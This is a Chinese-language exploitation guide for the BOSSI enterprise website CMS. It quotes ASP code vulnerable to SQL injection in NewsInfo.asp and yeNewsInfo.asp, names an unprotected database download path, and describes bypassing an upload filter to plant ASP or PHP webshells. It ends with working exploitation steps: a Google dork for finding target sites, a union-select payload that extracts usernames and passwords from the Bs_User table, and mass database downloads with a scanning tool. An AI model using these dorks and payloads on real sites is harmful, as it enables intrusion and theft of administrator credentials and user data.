BOSSI企业网站管理系统注入与上传漏洞利用方法

即便是没有编程经验的用户，也能通过后台管理轻松搭建企业网站——标题、地址、版权信息、公司邮箱、收藏等基础资料，都能在“公司资料”模块中一键修改。听起来很方便？但问题在于，这套系统存在严重的安全隐患，今天我们就来深入剖析其漏洞。

----------------------------------------------------

漏洞一：注入漏洞

首先关注第一个入口：NewsInfo.asp。代码中是这样写的：

if not isEmpty(request.QueryString("id")) then
    id=request.QueryString("id")
else
    id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Conews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")

问题显而易见：id变量直接拼接到SQL查询语句中，没有任何过滤或参数化处理。使用啊D工具即可轻松注入。同样，yeNewsInfo.asp页面也存在相同的安全隐患：

if not isEmpty(request.QueryString("id")) then
    id=request.QueryString("id")
else
    id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Yenews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")
'定义内容
content=ubbcode(rs("content"))

原理完全一致，这两个页面都是可注入的攻击点。

漏洞二：数据库下载漏洞

数据库文件直接存放在 Database/DataShop.mdb，并且没有设置防下载表或任何防护措施。这意味着任何人都可以直接下载整个数据库，管理员密码、用户数据等信息一览无余。这相当于系统完全暴露在攻击者面前。

漏洞三：上传漏洞

接下来是上传功能，存在问题的页面是 upfile.asp 和 upfilea.asp。关键代码片段如下：

fileExt=lcase(file.FileExt)
Forumupload=split(UpFileType,"|")
for i=0 to ubound(Forumupload)
    if fileEXT=trim(Forumupload(i)) then
        EnableUpload=true
        exit for
    end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
    EnableUpload=false
end if
if EnableUpload=false then
    msg="这种文件类型不允许上传！\n\n只允许上传这几种文件类型：" & UpFileType
    founderr=true
end if

这段代码与良精企业网站管理系统的上传漏洞几乎如出一辙——难以判断是谁抄袭了谁。注册用户后，可以在本地上传PHP大马，或者通过添加空格的方式绕过过滤上传ASP大马。具体方法已在《浅析良精企业网站管理程序》一文中详细说明，此处不再赘述。

漏洞利用要点

注入利用： 通过Google搜索 inurl:yeNewsInfo.asp?Id 找到目标站点，然后构造注入语句：

%20and%201=2%20union%20select%201,username,3,4,password%20from%20Bs_User

也可以使用啊D工具，但需要手动添加表段 Bs_User。

数据库漏洞利用： 使用挖掘机工具配合关键字 inurl:yeNewsInfo.asp?Id，直接拼接后缀 Database/DataShop.mdb 即可下载数据库文件。

至于上传漏洞的利用演示，这里不再展开，具体可参考《浅析良精企业网站管理系统漏洞》一文。